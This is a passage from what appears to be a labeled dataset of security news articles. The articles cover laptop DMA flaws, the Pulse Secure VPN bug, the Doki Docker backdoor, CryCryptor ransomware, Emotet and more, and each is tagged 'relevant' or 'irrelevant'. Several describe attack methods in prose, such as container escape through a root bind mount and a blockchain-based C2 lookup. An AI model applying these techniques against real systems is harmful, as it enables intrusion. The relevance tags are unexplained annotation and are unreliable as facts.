of DMA protections in modern laptops, the Eclypsium team found that Dell’s XPS 13 7390 2-in-1 convertible laptop, released in October 2019, is susceptible to pre-boot DMA attacks. The high-severity bug (CVE-2019-18579) is an insecure default BIOS configuration in the default firmware settings of the device – this was set to “Enable Thunderbolt (and PCIe behind TBT) pre-boot modules.” According to Dell’s advisory, a local, unauthenticated attacker with physical access to a user’s system can obtain read or write access to main memory via a DMA attack during platform boot. Dell has released the Dell Client BIOS to patch the issue, by turning off the setting by default. “We were able to perform DMA code-injection directly over Thunderbolt [a USB-type interface for peripherals] during the boot process,” Eclypsium researchers wrote, adding that the attack is thus “closed-chassis” – i.e., attackers would not need to open the hard drive to carry it out. “An attacker could simply connect to the exposed port of the device without otherwise having to modify the device,” they added. The second flaw was found in the HP ProBook 640 G4, which includes the HP Sure Start Gen4. The report noted that HP Sure Start “incorporates an embedded controller designed to verify the integrity of the BIOS before the CPU executes its first line of code” – which prevents closed-chassis attacks. However, the team found that an open-chassis pre-boot DMA attack (where the computer is cracked open) was still possible. The bug (which does not have a CVE) allows attackers to compromise the system’s Unified Extensible Firmware Interface (UEFI), which is a specification that defines a software interface between an operating system and platform firmware. A compromise would allow unauthorized code to execute from the beginning of the boot process, before the hand-off to the operating system. “A pre-boot DMA attack works at this critical time, and has the potential to completely compromise a system, even when other code-integrity protections (like HP Sure Start, Intel Boot Guard or Microsoft Virtualization Based Security with Device Guard) are employed,” Eclypsium researchers said. The team found that an attack could be carried out if the device were opened, allowing the M.2 wireless card in the system to be replaced with a Xilinx SP605 FPGA development platform. “The FPGA was then connected to our attacking machine and tested the system against a well-known, public DMA attack technique. We were able to successfully attack the system and gain control over the device,” according to the report. “By using DMA to modify the system RAM during the boot process, we gained arbitrary code execution, thus bypassing the HP Sure Start protections that verify BIOS code integrity before CPU execution starts.” In response to the findings, HP released an updated version of the BIOS to correct the flaw. The research firm stressed that the HP ProBook 640 G4 is likely not alone in being vulnerable to such an attack. “Pre-boot processes are an area of weakness across all laptops and servers from many manufacturers,” the researchers wrote. “In the case of HP, while the machine was not susceptible to a closed-case attack, the version of HP Sure Start in the mode we tested was insufficient to protect against our type of attack. There are many components, from hardware to firmware to the operating system, that all need to work together to prevent pre-boot DMA attacks.” While both of the discovered vulnerabilities allow exploits that require physical access to the devices, the researchers noted that in general, DMA attacks can also be carried out remotely using malware. To wit: After mounting an attack and implanting malware on a target device, an attacker can then gain additional privileges and control over a compromised host. “For example, malware on a device could use a vulnerable driver to implant malicious firmware to a DMA-capable device such as a network interface card,” according to the report. “That malicious code could then DMA back into memory during boot to get arbitrary code injection during the boot process. The fundamental ability of DMA attacks to shim attacker code into the boot process makes it useful for almost any type of attacker goal.”",relevant
"DHS Urges Pulse Secure VPN Users To Update Passwords The DHS urged organizations to update their passwords and make sure that a critical Pulse Secure VPN flaw has been patched, as attackers continue to exploit the flaw. The Department of Homeland Security (DHS) is urging companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, after several cyberattacks targeted companies who had previously patched a related flaw in the VPN. DHS warns that the Pulse Secure VPN patches may have come too late. Government officials say before the patches were deployed, bad actors were able to compromise Active Directory accounts. So even those who have patched for the bug could still be compromised and are vulnerable to attack. At the heart of the advisory is a known, critical Pulse Secure arbitrary file reading flaw that opens systems to exploitation from remote, unauthenticated attackers to gain access to a victim’s networks. Tracked as CVE-2019-11510, the bug was patched by Pulse Secure in April 2019, and many companies impacted by the flaw issued the fix to address the vulnerability since then. But in many cases the damage is already done. Attackers have already exploited the flaw to snatch up victims’ credentials – and now are using those credentials to move laterally through organizations, DHS’ Cybersecurity and Infrastructure Security Agency (CISA) warned in the Thursday alert. “CISA strongly urges organizations that have not yet done so to upgrade their Pulse Secure VPN to the corresponding patches for CVE-2019-11510,” according to CISA’s alert. “If—after applying the detection measures in this alert—organizations detect evidence of CVE-2019-11510 exploitation, CISA recommends changing passwords for all Active Directory accounts, including administrators and services accounts.” The flaw exists in Pulse Connect Secure, Pulse Secure’s SSL VPN (virtual private network) platform used by various enterprises and organizations. Exploitation of the vulnerability is simple, which is why it received a 10 out of 10 CVSS ranking. Attackers can exploit the flaw to get initial access on the VPN server, where they’re able to access credentials. A proof of concept (PoC) was made public in August 2019. During that time, Troy Mursch with Bad Packets identified over 14,500 Pulse Secure VPN endpoints that were vulnerable to this flaw. In a more recent scan, on Jan. 3, 2020, Mursch said 3,825 endpoints remain vulnerable. One such vulnerable organization was Travelex, which took several months to patch critical vulnerabilities in its seven Pulse Secure VPN servers, according to Bad Packets. Some have speculated the lag time in patching these VPNs led to the eventual massive ransomware attack against Travelex. Various other cybercriminals have targeted the Pulse Secure VPN flaw to compromise organizations, such as Iranian state sponsored hackers who leveraged the flaw to conduct cyber-espionage campaigns against dozens of companies in Israel. In addition to urging organizations update credentials on accounts in Active Directory, which is the database keeps track of all organizations’ user accounts and passwords, CISA has also released a new tool to help network admins sniff out any indicators of compromise on their systems that are related to the flaw. “CISA encourages network administrators to remain aware of the ramifications of exploitation of CVE-2019-11510 and to apply the detection measures and mitigations provided in this report to secure networks against these attacks,” the advisory said.",relevant
"Diebold ATM Terminals Jackpotted Using Machine’s Own Software The company warned that cybercriminals are using a black box with proprietary code in attacks to illegally dispense cash across Europe. Cybercriminals are using software from leading ATM manufacturer Diebold in a series of hacks against cash terminals across Europe, forcing the machines to dispense cash to crooks. Criminals using a black-box device common with these type of attacks have increased their activity across Europe by targeting Diebold’s ProCash 2050xe USB terminals, according to an Active Security Alert (PDF) by Diebold Nixdorf released last week. The company believes that the device used in the attacks “contains parts of the software stack of the attacked ATM,” it said in its alert. It’s as yet unclear about how attackers gained access to the internal software of the machines, according to Diebold. However, a previous offline attack against an unencrypted hard disc of the machine could be to blame, according to the alert. So called Jackpotting attacks are those in which cybercriminals find a way to hack into an ATM machine to trigger the machine to release cash, much like a slot machine at a casino–hence the name. There are a number of ways cybercriminals can target cash terminals with these attacks. The recent attacks observed by Diebold are black-box dispenser attacks, with threat actors focusing on outdoor systems, destroying parts of their facades to gain physical access to the control panel of the machines. To jackpot the machine, criminals unplug the USB cable that connects the CMD-V4 dispenser of the terminals and their electronic systems and connect them to the black box so they can “send illegitimate dispense commands.” There are several other ways that cybercrininals can jackpot cash machines, including another black-box technique that plugs into network cables on the exterior of an ATM to record cardholder information. In this way, attackers can change authorized withdrawal amounts from the host, or masquerading as the host system to discharge large amounts of cash. At this time, it does not appear that cybercriminals in the current wave of Diebold attacks are accessing cardholder information, according to the company. Another type of attack on cash machines is through phishing emails sent to network administrators at the financial institution that owns the machine. The emails attempt to install malware that can later use administrative software providing remote access to ATMs to install malware on terminals that cybercriminals use to jackpot them, according to Diebold. Diebold is one of the top players in the ATM market, earning $3.3 billion in sales last year from its ATM business, which includes both selling and servicing machines around the world. To mitigate attacks, Diebold made a few suggestions to terminal operators, including advising them to implement the latest protection on the machines by using only software updated with current security functionality and ensuring encryption is active on the terminal. The company also advised customers to implement hard-disk encryption mechanisms to protect the terminal from software modification and offline attacks, as well as limit physical access to the machine to prevent access by destroying the machine facade, as occurred in the current spate of jackpotting attacks.",irrelevant
"DJI Drone App Riddled With Privacy Issues, Researchers Allege The DJI GO 4 application open users’ sensitive data up for the taking, researchers allege. Leading commercial drone maker DJI is hitting back against researcher allegations that its Android mobile application is riddled with privacy holes. One includes that the app continues to run in the background even after it’s been closed and collects sensitive data from users without consent. The privacy issues discovered in the DJI GO 4 application, which is the complementary app used to control DJI drones, and which has over 1 million Google Play downloads (the iOS version of the app does not have the same issues, researchers say). Researchers with Synacktiv found several concerning privacy issues in the DJI GO 4 application, which were then independently confirmed by researchers with GRIMM. “The DJI GO 4 application contains several suspicious features as well as a number of anti-analysis techniques, not found in other applications using the same SDKs,” according to researchers with GRIMM in a Thursday post. “Overall, these features are worrisome and may allow DJI or Weibo to access the user’s private information or target them for further exploitation.” In a statement about the vulnerabilities, DJI vehemently denied any “unexpected data transmission” from its apps. The drone maker also said it hasn’t been able to replicate some of the reported privacy issues in testing and that other vulnerabilities reported are “typical software concerns.” “We have always prioritized the security of our apps and the privacy of our customers,” said DJI in a statement published Friday to its website. “Recent reports do not contradict other third-party audits that found no unexpected data transmission from our apps designed for government and professional customers… These researchers found typical software concerns, with no evidence they have ever been exploited.” Synacktiv researchers found that the DJI GO 4 application on the Android platform does not close when the user closes the app with a swipe right. Instead, they found that a service called Telemetry provided by MapBox will restart the application in the background, where it continues to run and make network requests. Researchers say, to effectively close the application, users must instead terminate the service and close the application in the Android Settings. DJI for its part argued that it has not been able to replicate this behavior in testing so far: “DJI GO 4 is not able to restart itself without input from the user, and we are investigating why these researchers claim it did so,” it said. Researchers also allege that the application contains a “self-update” feature that orders the user’s phone to install a forced update or install a new software on the app. This “self-update” feature goes against the policies of the official Google Play app marketplace – but researchers also say that attacker could potentially compromise the “self-update” server and trick a victim into applying malicious application updates. “This mechanism is very similar to command and control servers encountered with malwares,” said researchers. “Given the wide permissions required by DJI GO 4 (access contacts, microphone, camera, location, storage, change network connectivity, etc.), the DJI or Weibo Chinese servers have almost full control over the user’s phone. This way of updating an Android App or pushing a new app completely circumvents Google feature module delivery or in-app updates.” The application contains the ability to download and install arbitrary applications (with user approval) via a software development kit (SDK) provided by Chinese social media platform Weibo, they said. During this process, the Weibo SDK also collects the user’s private information and transmits it to Weibo, allege researchers. DJI argued that the feature is a “technique” for dealing with unauthorized modifications to DJI control apps, and is designed to help ensure that airspace safety measures are applied consistently. It added that the data collected by the Weibo SDK allows recreational customers to share their photos and videos with friends and family on social media, and the SDK is only used when users “proactively turn it on.” “When our systems detect that a DJI app is not the official version – for example, if it has been modified to remove critical flight safety features like geofencing or altitude restrictions – we notify the user and require them to download the most recent official version of the app from our website,” DJI said. “In future versions, users will also be able to download the official version from Google Play if it is available in their country. If users do not consent to doing so, their unauthorized (hacked) version of the app will be disabled for safety reasons.” Researchers also say that two features within the app collect invasive information of app users, including the IMSI and IMEI serial numbers of the phone, the MAC address of the Wi-Fi interface, the serial number of the SIM card and more. The two alleged data-sucking components are the MobTech component embedded in “recent versions” of DJI Android GO 4 application and an SDK called Bugly, which is a crash reporting module in previous versions of the app (specifically version 4.1.22; the most current version is version 4.3.37). “This data is not relevant or necessary for drone flights and go beyond DJI privacy policy,” researchers said. DJI for its part said that the MobTech and Bugly components identified by researchers were previously removed from DJI flight control apps after earlier researchers identified potential security flaws in them. “Again, there is no evidence they were ever exploited, and they were not used in DJI’s flight control systems for government and professional customers,” said DJI. DJI also encouraged researchers to utilize its bug bounty program, which was previously launched in 2017, to “responsibly disclose security concerns about our products.” Previously, the drone maker faced security issues when it patched a cross-site scripting bug impacting its forums that could have allowed a hacker to hijack user accounts and gain access to sensitive online data, ranging from flight images, bank card data, flight records and even real time camera images.",relevant
"Doki Backdoor Infiltrates Docker Servers in the Cloud The malware is a new payload that uses Dogecoin wallets for its C2, and spreads via the Ngrok botnet. A fresh Linux backdoor called Doki is infesting Docker servers in the cloud, researchers warn, employing a brand-new technique: Using a blockchain wallet for generating command-and-control (C2) domain names. Doki however is meant to provide a persistent capability for code-execution on an infected host, setting the scene for any number of malware-based attacks, from denial-of-service/sabotage to information exfiltration to ransomware, according to Intezer. The campaign starts with an increasingly common attack vector: The compromise of misconfigured Docker API ports. Attackers scan for publicly accessible, open Docker servers in an automated fashion, and then exploit them in order to set up their own containers and execute malware on the victim’s infrastructure. Usually that malware is a cryptominer of some kind, as seen in April in a Bitcoin-mining campaign using the Kinsing malware — but Doki represents an evolution in payload. The Doki attackers are using an existing Ngrok-based botnet to spread the backdoor, via a network scanner that targets hardcoded ranges of IP addresses for cloud providers, such as Amazon Web Services and local cloud providers in Austria, China and the United Kingdom. Ngrok is a legitimate reverse proxy service that cybercriminals have been using for C2 communications with infected bot endpoints. The scanner looks for potentially vulnerable targets, gathers relevant information and uploads it to a Ngrok URL controlled by the attackers. The attackers then compromise the new targets. “Our evidence shows that it takes only a few hours from when a new misconfigured Docker server is up online to become infected by this campaign,” according to researchers at Intezer, writing in an analysis this week. “The attackers are spawning and deleting a number of containers during this attack.” The Infection Routine After identifying a vulnerable server and gaining entry to a server via the open API, the attackers are setting up publicly available, curl-based images within the Docker Hub. These images aren’t malicious themselves, but they can be leveraged for malicious purposes, such as setting up a container and then escaping from it to gain broader access to the host. Intezer researchers noted that attackers could also compromise an existing image and “run their own logic and malware on top of it.” Following from this, the next step in the attack is to create a container using a “create” API request. “The body of the request contains configuration parameters for the container,” according to researchers. “One of the parameters is ‘bind,’ which lets the user configure which file or directory on the host machine to mount into a container.” In this case, the container is configured to bind the /tmpXXXXXX directory to the root directory of the hosting server. This allows a container escape – i.e., the ability to break free of the boundaries of the attacker-created container in order to interact with other containers, and view and modify configurations. Essentially this means that every file on the server’s filesystem can be accessed and modified, with the correct user permissions, from within the attacker-created container. “This attack is very dangerous due to the fact the attacker uses container escape techniques to gain full control of the victim’s infrastructure,” according to Intezer. After that, “the attacker abuses Ngrok to craft unique URLs with a short lifetime and uses them to download payloads during the attack by passing them to the curl-based image,” the analysis explained. “The downloaded payload is saved in /tmpXXXXXX directory in the container.” One of the first of these payloads is a downloader script, responsible for downloading and installing various second-stage malware binaries. Intezer recently noticed the new Doki payload being fetched as one of the second-stage samples. The Doki Payload Doki is a backdoor for Linux which executes any code received from its operators. It sports a unique feature: A previously undocumented method to find and contact its C2 domain dynamically in real time, by abusing the Dogecoin cryptocurrency blockchain. It spins off a separate process to establish its own C2 communications, apart from that of the botnet. As Intezer explained, in order to generate a C2 domain using its unique domain-generation algorithm (DGA), it queries dogechain.info API, a Dogecoin cryptocurrency block explorer, to retrieve an amount that was spent from a hardcoded wallet address controlled by the attacker. That value is sent back and then hashed with SHA256; the malware then saves the first 12 characters from the hex-string representation of the SHA256 value, to be used as the subdomain. It can then construct a full address by appending the subdomain to ddns.net, which is a domain offered by the legitimate DynDNS service. “Using this technique the attacker controls which address the malware will contact by transferring a specific amount of Dogecoin from his or her wallet,” explained the Intezer researchers. “Since only the attacker has control over the wallet, only he can control when and how much Dogecoin to transfer, and thus switch the domain accordingly. Additionally, since the blockchain is both immutable and decentralized, this novel method can prove to be quite resilient to both infrastructure takedowns from law enforcement and domain filtering attempts from security products.” The researchers said that Doki has until now been “a fully undetected malware component.” To wit, they noted that as recently as this week, Doki had failed to be detected by any of the 60 malware detection engines in VirusTotal, despite having been uploaded to the repository on January 14. At this time of writing, 24 of the 60 engines are detecting the malware. The Ngrok botnet is an urgent threat that is actively improving itself over time, Intezer warned, and adding new payloads beyond its typical cryptomining fare. “The Ngrok botnet campaign has been ongoing for over two years and is rather effective, infecting any misconfigured Docker API server in a matter of hours,” researchers said. “The incorporation of the unique and undetected Doki malware indicates the operation is continuing to evolve.” Threatpost has reached out to Intezer for any information regarding how widespread the Doki backdoor has become. To avoid infection, Docker admins should check for any exposed ports, verify there are no foreign or unknown containers among the existing containers,and monitor excessive use of resources.",relevant
"Emerging Ransomware Targets Photos, Videos on Android Devices The CryCryptor malware strain is a brand-new family of threats, leveraging COVID-19 to spread. A new strain of ransomware has arisen in Canada, targeting Android users and locking up personal photos and videos. Called CryCryptor, it has initially been spotted pretending to be the official COVID-19 tracing app provided by Health Canada. It’s propagating via two different bogus websites that pretend to be official, according to ESET researchers – one called tracershield[dot]ca. Like other ransomware families, it encrypts targeted files. But, instead of simply locking the device, CryCryptor leaves a “readme” file with the attacker’s email in every directory. It’s also based on easily found open-source code on GitHub. When someone launches the malicious app, it requests access to files on the device. After that, selected files are encrypted using AES with a randomly generated 16-character key. One of the fake sites spreading the app. “After CryCryptor encrypts a file, three new files are created, and the original file is removed,” according to ESET. “The encrypted file has the file extension .enc appended, and the algorithm generates a salt unique for every encrypted file, stored with the extension .enc.salt; and an initialization vector, .enc.iv.” Interestingly, targeted files include photos and videos. “It is interesting to see that this attack included file type extensions such as .jpg, .png and .avi along with document types as well,” Erich Kron, security awareness advocate at KnowBe4, said via email. “By encrypting photos and videos on the external storage on the phone as opposed to simple documents, the attackers are making it personal and attempting to improve their odds of payment. People tend to keep a lot of personal photos on their devices, which makes them a prime target.” Once encryption is complete, researchers found that CryCryptor displays a notification that says: “Personal files encrypted, see readme_now.txt.” That readme_now.txt file is placed in every directory with encrypted files. ESET researchers discovered the GitHub repository using a simple search “based on the app’s package name and a few strings that looked unique,” they said. The developers attempted to disguise the project, called CryDroid, as being legitimate and claim to have uploaded the code to the VirusTotal service. “[They must have known the code would be used for malicious purposes,” according to ESET. “We dismiss the claim that the project has research purposes – no responsible researcher would publicly release a tool that is easy to misuse for malicious purposes.” The researchers were able to create a decryption tool, thanks to a flaw in the coding of the malicious app. “After we spotted the tweet that brought this ransomware to our radar (the researcher who discovered it mistakenly labeled the malware as a banking trojan), we analyzed the app,” researchers said in a posting on Wednesday. “We discovered a bug of the type ‘Improper Export of Android Components’ that MITRE labels as CWE-926.” This type of bug, listed as an “Improper Export of Android Application Components,” occurs when an Android application “exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains,” according to MITRE. Because of the bug in the app, any other app that is installed on the affected device can launch any exported service provided by the ransomware. “This allowed us to create the decryption tool – an app that launches the decrypting functionality built into the ransomware app by its creators,” according to ESET. CryCryptor, like other malware, is looking to take advantage of governments rolling out COVID-19 tracing apps to fight the pandemic. The Canadian government officially announced the creation of a nationwide, voluntary tracing app called COVID Alert, due to be rolled out for testing in the province of Ontario in July. The new ransomware family surfaced just a few days later. Another new malware strain was recently found using the same tactic. The “[F]Unicorn” ransomware appeared in May, pretending to be “Immuni” – Italy’s official coronavirus-tracking app. The real beta version is rolling out across the country; the fake app houses a malicious executable, purporting to be from the Italian Pharmacist Federation (FOFI). “The most successful phishing campaigns use a topical, stressful event to set the stage for communication with the victim to increase their effectiveness,” said Rob McLeod, director of Advanced Threat Analytics, eSentire, via emailed comment. He added, “COVID-19 provides an ideal backdrop for cybercriminals to conduct these operations. Users will likely be familiar with phishing attacks, and CryCrypto is not the first Android ransomware in the wild. What’s different for most users in the mobile device context is the exposure of communication vectors not typically associated with phishing attacks. This includes voice, SMS, messaging apps, and social media channels where attackers can communicate with potential victims to trick them into installing non-legitimate apps.”",relevant
"Emotet Returns in Malspam Attacks Dropping TrickBot, QakBot Emotet has resurfaced after a five-month hiatus, with more than 250,000 malspam messages being sent to email recipients worldwide. Emotet has returned after a five-month hiatus. Researchers first spotted the malware in a campaign that has spammed Microsoft Office users with hundreds of thousands of malicious emails since Friday. The malware first emerged in 2014, but has since then evolved into a full fledged botnet that’s designed to steal account credentials and download further malware – in this most recent case, banking trojans such as TrickBot and QakBot. After its return last week, the botnet has sent more than 250,000 messages throughout the day to email recipients in the U.S., United Kingdom, Argentina, Brazil, Canada, Chile, Ecuador and Mexico, according to reports. “The new campaign sports longtime Emotet tactics: emails carrying links or documents w/ highly obfuscated malicious macros that run a PowerShell script to download the payload from 5 download links,” according to Microsoft Security Intelligence researchers on Twitter. The spam emails contain either a URL or an attachment, and purport to be sending a document in reply to existing email threads – a known trick of Emotet. emotet malware Credit: Microsoft One sample email, for instance, asks email recipients to open an attachment called “Form – Jul 17, 2020.doc.” Another pretended that the document was an invoice. The document attachments contain a heavily obfuscated macro and ask recipients to enable content. Once the macro is enabled, Windows Management Instruction then launches a PowerShell to retrieve the Emotet binary from a remote compromised websites. Finally, the payload is executed and sends a confirmation back to one of Emotet’s command and control (C2) servers. “We have so far seen several hundreds of unique attachments and links in tens of thousands of emails in this campaign,” according to Microsoft. “The download URLs typically point to compromised websites, characteristic of Emotet operations.” While the malspam emails bear various hallmarks of Emotet campaigns, researchers have noted that malicious URLs are now being distributed in PDFs, in addition to maldocs and malicious URLs in email body, representing “a shift in Emotet payload delivery,” according to Proofpoint researchers. “We have so far seen several hundreds of unique attachments and links in tens of thousands of emails in this campaign,” said Proofpoint researchers on Twitter. “The download URLs typically point to compromised websites, characteristic of Emotet operations.” Researchers also report that Emotet is being used as a downloader for other malware, such as Qakbot, a worm-like strain of information-stealing malware that’s been around since 2009, and TrickBot, a popular banking trojan. Emotet was last seen in February 2020, in a campaign that sent SMS messages purporting to be from victims’ banks. Once victims clicked on the links in the text messages, they are asked to hand over their banking credentials and download a file that infects their systems with the Emotet malware. Also in February, researchers uncovered an Emotet malware sample with the ability to spread to insecure Wi-Fi networks that are located nearby to an infected device. In 2019, Emotet went on a similar hiatus, disappearing over the summer before returning to drop other banking trojans, information stealers, email harvesters, self-propagation mechanisms and ransomware. “The Emotet Trojan was by far the most visible and active threat on our radars in 2018 and 2019—right up until it went into an extended break,” said Malwarebytes researchers on Friday. “The real damage that an Emotet compromise causes happens when it forms alliances with other malware gangs and in particular threat actors interested in dropping ransomware.”",relevant
"Enterprise Security Woes Explode with Home Networks in the Mix Thanks to WFH, IoT refrigerators, Samsung TVs and more can now be back-channel proxies into the corporate network. The work-from-home (WFH) paradigm that has become the new normal in the age of coronavirus comes with exacerbated network security risk – as evidenced by growing a number of botnets and automated attacks that are taking advantage of known vulnerabilities in both consumer and corporate IT gear. The situation is forcing IT to adopt new strategies to gain visibility into their network environments. According to Nate Warfield, senior security program manager at Microsoft, new vulnerabilities found in network and Internet-of-Things (IoT) equipment are being weaponized by cybercriminals within days of disclosure – and sometimes hours. And the attack surface continues to widen tremendously since most office jobs have been reconfigured into telecommuting positions. “If your job is to take care of the security of an enterprise network, your network perimeter just got really big,” he said, speaking at Tuesday’s SAS@home virtual security conference. “It has now expanded to all of your home users, all of their house-wide networks and devices, as well as what you’ve already known that you have to take care of.” The New Normal: Home + Enterprise Threat Surface This can include IoT gadgets that are typically not counted in the corporate footprint, he noted: “We’re talking old routers, unpatched routers, possibly hacked routers – but also Samsung Smart TVs and that IoT refrigerator that everybody thought was so cool. Yeah, that’s also on your corporate network now, because it’s connected to your home user’s network and therefore is now a possible proxy back into your corporate network.” Microsoft’s Nate Warfield, speaking at SAS@home. The issue of course is that consumer-grade devices and commodity hardware can suffer from a lack of security-by-design, with issues like default passwords that consumers don’t know to change, as well as security vulnerabilities. “But you know, I’m sure all of your users remembered to change their refrigerator passwords, because you know the FBI was nice enough to warn all of us to do it,” Warfield said. Using tools like the Shodan search engine, Warfield pointed out that it’s a trivial matter to uncover vulnerable devices, many of which are using basic HTTP authentication, no SSL encryption and no two-factor authentication. “All of the IoT and home media devices are all things you can find on Shodan right now, with just a quick search,” he said. Adding insult to injury, even enterprise equipment isn’t necessarily always fully tested, patched and kept up to date. Warfield noted that as of Tuesday there are still 126,000 machines for instance that haven’t been patched for the SMB “Ghost” vulnerability that Microsoft fixed in March. “These are all out there just waiting to get hit,” Warfield said. And, IT is doing more remote administration thanks to WFH. “IT staff can’t walk into a data center to reset a server, and they need to be able to connect to it, so they use remote access,” Warfield explained. “Well, you can find those things on Shodan as well. Hopefully everybody’s using a strong password, but these are all entry points into your network that are more vulnerable now because nobody’s in the office.” New Approaches for IT Threat-Hunting The Citrix NetScaler local file inclusion vulnerability disclosed in December provides an object lesson for how quickly adversaries are moving to automate new exploits, Warfield noted. The new network perimeter — click to enlarge. “Basically, this bug allowed people to hack into a VPN device, a very expensive VPN device,” he said. “And you know what happens if you hack a VPN device – it’s got connectivity to your entire corporate network and the keys to the kingdom. This vulnerability didn’t require any special coding to exploit – there was no ASLR or anything to bypass – [the exploit] was just a curl command sent to a specific path on the NetScaler device. [Telemetry] picked up people already throwing automated payloads trying to exploit this thing within two days. We’re not even talking advanced attackers – this was script kiddies who put this into automated systems in two days.” To combat such swiftly moving attacks, even across the expanded WFH attack surface, Warfield noted that open-source threat intelligence tools like GreyNoise – and also Shodan itself – can be invaluable. “GreyNoise is basically a sensor network that picks up indiscriminate scanning, mostly botnets, brute-forcing attempts, and things that are sort of just spraying the internet with traffic, either port scans or throwing payloads,” Warfield explained. “It’s not going to pick up targeted attacks, because usually attackers are smarter than to spray high-value exploits at hundreds of thousands or millions of IPs. But what’s interesting is you can start pulling metrics data.” Security staff can search for suspicious activity in a variety of ranges, from the country level all the way down to a specific network range that would be relevant to a specific business. In this way, it’s possible to flag devices that may be compromised and used in a botnet, for example. “We discovered that all the way down in Antarctica there’s one machine that’s out there spraying malicious payloads around, which is kind of interesting,” the researcher noted. Shodan offers the ability to perform scans on one’s newly expanded consumer footprint – provided that the IT staff has an inventory of where its users are on the web. Fingerprint your WFH landscape for known issues — click to enlarge. “We want to build lists of IPs, you know once you figure out where users are coming from, so you can start looking and say hey, are they using any of these different types of devices – things that have been reported as vulnerable or unsupported old routers for instance,” Warfield said, adding that Shodan uses metadata that it refers to as “facets” as search parameters. “So you can say, hey give me the stats for the specific facet of the metadata that I want, within your range, or use ‘net:0/0′ which is shorthand for the entire internet,” he explained. To uncover possibly problematic devices within home users’ footprints, SSL certificate data can be useful, according to Warfield. “A lot of your out-of-the-box solutions, a lot of your SoHo routers and a lot of your IoT stuff will generate a new SSL certificate [for each installation], but all of the issuer information is going to be the same,” he explained. “And once you figure out what that is, you can then go and look for the issuer common name [i.e., a common router type] and…you would say, now I’m going to restrict it down by my autonomous system or my IP networks [to see if any of those devices are in your footprint].” Even more useful, Shodan allows paid users to look for known bugs. “The ability to search for vulnerabilities is locked behind either the corporate or the enterprise licenses on Shodan, which are very expensive and out of the range of your average script kiddie. But it’s very affordable for the corporate environment,” Warfield said. Fingerprinting Corporate Risk The bottom line is that attacks on enterprises are changing thanks to the growing enterprise/home hybrid IT profile that many businesses now have – and opportunities for compromise are growing. “Attackers thrive on chaos, and there’s no more chaotic time on the internet or in our lives than right now,” Warfield said. “We’re all here in our houses, your network perimeter is changed, and it’s likely that your perimeter is going to be changed for the foreseeable future – and possibly forever. The new normal may be that a majority of the workforce is working remote and attackers know that. They’re going to be very smart and very, very crafty, and they’re going to go after your home users to try to back-channel into your corporate network. They’ll find the low-hanging fruit. And a lot of this stuff isn’t just low-hanging – more like it’s fallen off and is rotting on the ground.” Thus, it’s important that IT security teams assess their networks regularly, using some of the tools that have historically not been within their purview. “GreyNoise and Shodan both are ways to keep tabs,” Warfield said. “You can tell GreyNoise to alert you if your IP network starts sending weird or malicious traffic or doing something bizarre for instance.” “This is something you may have to do as you’re trying to figure out what networks these people on your VPNs are coming from,” he added. “You have to remap the perimeter based on where your remote users are coming from, so it’s just more network intelligence work. You need to have more tools than just the things that you’ve always thought of.”",irrelevant
"Estée Lauder Exposes 440M Records, with Email Addresses, Network Info Middleware data was exposed, which can create a secondary path for malware through which applications and data can be compromised. A non-password protected cloud database containing hundreds of millions of customer records and internal logs for cosmetic giant Estée Lauder has been found exposed online, according to researchers. In all, 440,336,852 individual data pieces were exposed, according to researcher Jeremiah Fowler at Security Discovery. Many of the records importantly contained plaintext email addresses (including internal email addresses from the @estee.com domain). There were also reams of logs for content management systems (CMS) and middleware activity. Fortunately, there was no payment data or sensitive employee information included in the records that Fowler saw. “This company has been a household name for over 70 years and had an annual revenue of $14.863 billion in 2019 – [so] it seems logical that there would be a large dataset associated with the business,” Fowler wrote in a report on his discovery, published Tuesday. He added that while he saw that there were “massive” numbers of consumer email addresses involved, he didn’t calculate the total number because he immediately pivoted to notifying the company. “I can only speculate or assume that the email addresses were from digital commerce or online sales,” he said. As for the other data, most of it could be used as reconnaissance for a larger network attack, Fowler noted. The logs for instance contained IP addresses, ports, pathways and storage information that could be used to map out the company’s internal LAN or WAN; and, middleware used by the company to connect different data-generating software packages was also detailed. Middleware typically handles tasks like providing a consistent front-end for data management across different internal systems; application services; messaging; authentication; and API management. “Middleware can create a secondary path for malware, through which applications and data can be compromised,” Fowler explained. “In this instance, anyone with an internet connection could see what versions or builds are being used, the paths, and other information that could serve as a backdoor into the network.” After making several phone calls and sending several emails over the course of a few hours, Fowler was able to get a message through to the security team at Estée Lauder, and the database was closed the same day. It’s unclear how long the Estée Lauder database was exposed or who else may have accessed the records during that time, he noted, so customers should be on the alert for phishing emails. “This an example of how a simple error such as setting permissions on a shared drive or a database can have significant consequences,” said Erich Kron, security awareness advocate at KnowBe4, via email. However, he praised the company for its quick action: “This is also a lesson in how large organizations can improve on the process of reporting potential data exposure quickly in order to rapidly resolve the issue, especially in the modern electronic age where millions of records can be stored in a single place and be accessed from nearly anywhere in the world. I give Estée Lauder credit for quickly resolving the issue once they were informed about it, as many organizations move far too slowly in this respect.” Misconfigured, internet-exposed databases continue to be a common problem, including for very big, brand-name companies with years’ worth of data. In January for instance, it was revealed that misconfigured Microsoft cloud databases containing 14 years of customer support logs had exposed 250 million records to the open internet for 25 days. The account info dates back as far as 2005 and is as recent as December 2019 — and exposes Microsoft customers to phishing and tech scams.",irrelevant
"Evil Corp Returns With New Malware Infection Tactic Researchers have observed the cybercrime group back in action, now using a new tactic for distributing malware. Cybercrime group Evil Corp (a.k.a. Dudear) is back in action after a short hiatus, with a technique in its arsenal not previously used by the group to distribute malware. Microsoft on Thursday said that it observed emails from the cybercriminal gang utilizing HTML redirectors. Microsoft is unclear whether these HTML redirectors are URLs in the body of the email itself or if they are embedded into an attachment to the email. Regardless, once they are clicked on, they automatically download a malicious Excel file. Next, if the victim “enables editing” in the Excel file, the final payload is dropped. “This is the first time that Dudear is observed using HTML redirectors,” according to a tweet by the Microsoft Security Intelligence research team, which also released indicators of compromise (IoCs) for the attack. “The attackers use HTML files in different languages. Notably, they also use an IP trace-back service to track the IP addresses of machines that download the malicious Excel file.” While this is the first time Evil Corp has used this tactic, HTML redirectors, or code that uses meta refresh tags to redirect users to another website, have long been used by other threat actors. Redirector URLs in general are commonly inserted into emails for phishing attacks. For instance, if certain malicious URLs are blocked by web browser phishing filters, attackers would use a redirector URL to bypass these filters and redirect the victim to their phishing landing page. “In case their phishing site is shutdown, they can simply change the destination of the redirect to point to another phishing site,” according to PhishLabs. “This means that everyone who receives an email with the redirector link and clicks on it will still end up at a phishing site.” The technique is handy because it can enable attackers to avoid the use of emails 